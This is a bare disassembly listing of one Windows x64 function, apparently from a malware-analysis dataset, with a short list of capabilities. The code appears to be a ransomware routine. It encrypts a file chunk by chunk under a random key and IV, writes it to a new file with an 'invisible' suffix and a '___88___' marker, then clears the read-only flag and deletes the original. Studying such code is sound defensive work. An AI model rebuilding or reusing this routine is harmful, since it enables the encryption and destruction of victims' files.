Function at 0x14000dbf0
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
jmp 0x14000dbf0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1058
call fcn.140001b86
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2ea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1078]
mov rax, qword [0x14017ce00]
xor rax, rbp
mov qword [rbp + 0x1010], rax
lea rcx, [0x1401950c7]
call fcn.140004e5d
nop
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
lea rax, [rbp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e
rep stosb byte [rdi], al
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x158], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1b8], 0
mov dword [rbp + 0x1d4], 0
mov dword [rbp + 0x1f4], 0
mov dword [rsp + 0x20], 0x100
mov r9d, 0x40
mov r8d, 0x8000
mov rdx, qword [rbp + 0x1040]
lea rcx, [rbp + 0x1d4]
call fcn.1400021f3
nop
cmp dword [rbp + 0x1d4], 0
jg 0x14000dd09
jmp 0x14000e136
lea rcx, str.invisible
call fcn.140001424
mov qword [rbp + 0x1008], rax
mov rcx, qword [rbp + 0x1040]
call fcn.140001424
mov rcx, qword [rbp + 0x1008]
lea rax, [rax + rcx + 2]
mov qword [rbp + 0x1b8], rax
mov eax, 2
mul qword [rbp + 0x1b8]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.140002b9e
mov qword [rbp + 0x1008], rax
mov rax, qword [rbp + 0x1008]
mov qword [rbp + 0xf58], rax
mov rax, qword [rbp + 0xf58]
mov qword [rbp + 0xf8], rax
xor eax, eax
mov rcx, qword [rbp + 0xf8]
mov word [rcx], ax
mov r8, qword [rbp + 0x1040]
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0xf8]
call fcn.140002a72
nop
lea r8, [0x1401379a0]
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0xf8]
call fcn.140002a72
nop
lea r8, str.invisible
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0xf8]
call fcn.140002a72
nop
mov dword [rsp + 0x20], 0x80
mov r9d, 0x40
mov r8d, 0x8301
mov rdx, qword [rbp + 0xf8]
lea rcx, [rbp + 0x1f4]
call fcn.1400021f3
nop
cmp dword [rbp + 0x1f4], 0
jg 0x14000de10
jmp 0x14000e136
mov ecx, dword [rbp + 0x1d4]
call fcn.140001d98
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0
jg 0x14000de31
jmp 0x14000e136
mov ecx, 0x2800
call fcn.1400034d6
mov qword [rbp + 0x48], rax
mov ecx, 0x2800
call fcn.1400034d6
mov qword [rbp + 0x68], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rbp + 8]
call fcn.140003157
nop
xor r8d, r8d
mov edx, 0x10
lea rcx, [rbp + 0xc8]
call fcn.140003157
nop
mov r8d, 0x10
lea rdx, [rbp + 0xc8]
mov ecx, dword [rbp + 0x1f4]
call fcn.140001163
nop
mov r8d, 0x2800
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rbp + 0x1d4]
call fcn.140004219
cdqe
mov qword [rbp + 0x198], rax
mov dword [rbp + 0xa74], 0
cmp qword [rbp + 0x198], 0x400
jle 0x14000df5c
mov r8d, 0x400
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x220]
call fcn.140002e78
nop
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa74]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x650]
mov r8d, 0x400
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 8]
call fcn.140001055
nop
mov r8, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call fcn.140002e78
nop
movsxd rax, dword [rbp + 0xa74]
mov r8, rax
lea rdx, [rbp + 0x650]
mov rcx, qword [rbp + 0x68]
call fcn.140002e78
nop
mov r8d, dword [rbp + 0x198]
mov rdx, qword [rbp + 0x68]
mov ecx, dword [rbp + 0x1f4]
call fcn.140001163
nop
jmp 0x14000dfc5
mov r8, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x220]
call fcn.140002e78
nop
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa74]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x650]
mov r8d, dword [rbp + 0x198]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 8]
call fcn.140001055
nop
mov r8d, dword [rbp + 0xa74]
lea rdx, [rbp + 0x650]
mov ecx, dword [rbp + 0x1f4]
call fcn.140001163
nop
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x158]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x138]
cmp qword [rbp + 0x158], rax
jl 0x14000de8d
lea rcx, str.___88___
call fcn.140002c4d
mov dword [rbp + 0x1004], eax
mov eax, dword [rbp + 0x1f4]
mov dword [rbp + 0x1008], eax
mov r8d, dword [rbp + 0x1004]
lea rdx, str.___88___
mov ecx, dword [rbp + 0x1008]
call fcn.140001163
nop
xor edx, edx
mov ecx, dword [rbp + 0x1d4]
call fcn.140002626
nop
call fcn.14000494e
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x1050]
mov rcx, qword [rbp + 0x1048]
call fcn.1400016ef
nop
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0xf78], rax
mov edx, 1
mov rcx, qword [rbp + 0xf78]
call fcn.1400042aa
nop
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x118]
call fcn.14000143d
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
inc rax
mov rcx, rax
call fcn.140002b9e
mov qword [rbp + 0x1008], rax
mov rax, qword [rbp + 0x1008]
mov qword [rbp + 0xf98], rax
mov rax, qword [rbp + 0xf98]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x1b8]
inc rax
mov r8, rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x118]
call fcn.14000143d
nop
mov rax, qword [rbp + 0x1b8]
inc rax
mov r8d, eax
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rbp + 0x1f4]
call fcn.140001163
nop
cmp qword [rbp + 0x118], 0
je 0x14000e136
mov rcx, qword [rbp + 0x118]
call fcn.140004c64
nop
mov qword [rbp + 0x118], 0
cmp qword [rbp + 0x68], 0
je 0x14000e15a
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xfb8], rax
mov edx, 1
mov rcx, qword [rbp + 0xfb8]
call fcn.1400042aa
nop
cmp qword [rbp + 0x48], 0
je 0x14000e17e
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0xfd8], rax
mov edx, 1
mov rcx, qword [rbp + 0xfd8]
call fcn.1400042aa
nop
cmp qword [rbp + 0xf8], 0
je 0x14000e1a8
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0xff8], rax
mov edx, 2
mov rcx, qword [rbp + 0xff8]
call fcn.1400042aa
nop
cmp dword [rbp + 0x1d4], 0
jle 0x14000e1bd
mov ecx, dword [rbp + 0x1d4]
call fcn.1400021e4
nop
cmp dword [rbp + 0x1f4], 0
jle 0x14000e1d2
mov ecx, dword [rbp + 0x1f4]
call fcn.1400021e4
nop
mov rcx, qword [rbp + 0x1040]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0xa94], eax
mov eax, dword [rbp + 0xa94]
and eax, 0xfffffffe
mov dword [rbp + 0xa94], eax
mov edx, dword [rbp + 0xa94]
mov rcx, qword [rbp + 0x1040]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
mov rcx, qword [rbp + 0x1040]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov al, 1
jmp 0x14000e21c
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1401373f0]
call fcn.1400042ff
mov rax, rdi
mov rcx, qword [rbp + 0x1010]
xor rcx, rbp
call fcn.140002e69
lea rsp, [rbp + 0x1028]
pop rdi
pop rbp
ret